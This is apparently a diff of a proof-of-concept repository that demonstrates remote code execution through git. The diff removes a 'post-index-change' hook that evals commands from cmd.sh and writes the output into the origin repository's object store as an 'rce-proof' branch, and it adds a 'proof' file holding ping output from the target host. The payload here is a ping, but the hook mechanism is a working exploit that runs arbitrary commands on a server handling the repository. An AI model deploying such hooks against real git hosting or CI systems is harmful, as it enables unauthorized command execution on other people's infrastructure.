README.md

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-# poc-jduknu
-

cmd.sh

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-ping github.com

hooks/post-index-change

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-#!/bin/sh
-git_dir=$(git rev-parse --absolute-git-dir) || exit 1
-origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
-case "$origin_objects" in
-  /*) ;;
-  *) origin_objects="$git_dir/objects/$origin_objects" ;;
-esac
-origin_git=${origin_objects%/objects}
-[ "$origin_git" != "$origin_objects" ] || exit 3
-
-cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
-[ -n "$cmd" ] || exit 0
-
-out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
-
-out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
-tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
-commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
- GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
- git --git-dir="$origin_git" commit-tree "$tree")
-git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
-exit 0
-
-# imdauw

proof

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+PING baidu.com (124.237.177.164) 56(84) bytes of data.
+From office (38.143.148.101) icmp_seq=1 Destination Host Unreachable
+From office (38.143.148.101) icmp_seq=2 Destination Host Unreachable
+From office (38.143.148.101) icmp_seq=3 Destination Host Unreachable
+From office (38.143.148.101) icmp_seq=4 Destination Host Unreachable
+
+--- baidu.com ping statistics ---
+4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3224ms
+pipe 3
+---EXIT:1---